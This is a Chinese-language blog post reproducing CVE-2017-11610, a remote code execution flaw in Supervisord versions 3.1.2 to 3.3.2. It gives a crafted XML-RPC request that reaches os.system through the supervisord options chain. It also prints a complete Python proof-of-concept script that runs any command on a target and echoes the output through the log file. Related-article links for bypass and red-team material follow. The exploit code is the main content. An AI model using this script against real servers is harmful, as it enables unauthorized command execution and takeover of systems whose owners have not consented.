Supervisord 远程代码执行漏洞(CVE-2017-11610)漏洞复现

漏洞信息

Supervisord是使用Python 开发的进程管理程序,Supervisord能够将命令行进程或服务变为后台运行的deamon(守护进程)。Supervisord拥有监控进程状态的功能,在进程异常退出时能够自动重启进程。

Supervisord在配置了Web接口后,服务器会启动一个XMLRPC服务器,端口号为9001,利用本漏洞,在获取接口访问权限后,远程攻击者可利用发送一段精心构造的请求,导致可在服务器执行任意代码。

漏洞影响版本

Supervisord 3.1.2 <= Version <= 3.3.2

开启环境

https://www.77169.net/wp-content/uploads/2020/05/0-1588556883.png

抓包 发送到重发器 添加一下代码

<?xml version="1.0"?>

<methodCall>

<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>

<params>

<param>

<string>touch /tmp/success</string>

</param>

</params>

</methodCall>

http头改成POST /RPC2

发送
0-1588556884.png

运行poc.py执行代码执行
0-1588556884.png
poc.py代码

#!/usr/bin/env python3

import xmlrpc.client

import sys

target = sys.argv[1]

command = sys.argv[2]

with xmlrpc.client.ServerProxy(target) as proxy:

    old = getattr(proxy, 'supervisor.readLog')(0,0)

    logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()

    getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))

    result = getattr(proxy, 'supervisor.readLog')(0,0)

    print(result[len(old):])

www.idc126.com
注:本文只提供指数分享,请勿用作非法用途

执行漏洞(10)漏洞复现(18)远程代码(8)

本文经授权后发布,本文观点不代表立场,转载请联系原作者。
Facebook 开出历史最高赏金,55,000 美元奖励十年漏洞发现者
« 上一篇 05-05
上报软件漏洞拿了奖金 “双面”黑客却又利用漏洞卖钱
下一篇 » 05-05

相关推荐

「翻译」 如何Bypass rbash

前言我们都知道安全分析师和黑客的关系像tom和jerry一样,一个人采取措施加强安全等级,另外一个人试图绕过它。这种类似的情况出现在我解决CTF挑战的时候...

Joomla漏洞总结

以下文章来源于黑白天 ,作者kevinJoomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现漏洞描述Joomla是一套内容管理系统,是使用P...

新秀红队防猝死手册

文章来源:https://github.com/zhutougg/RedteamStandard一切为了不丢分工作环境工作时全部操作均在虚拟机中完成虚拟机...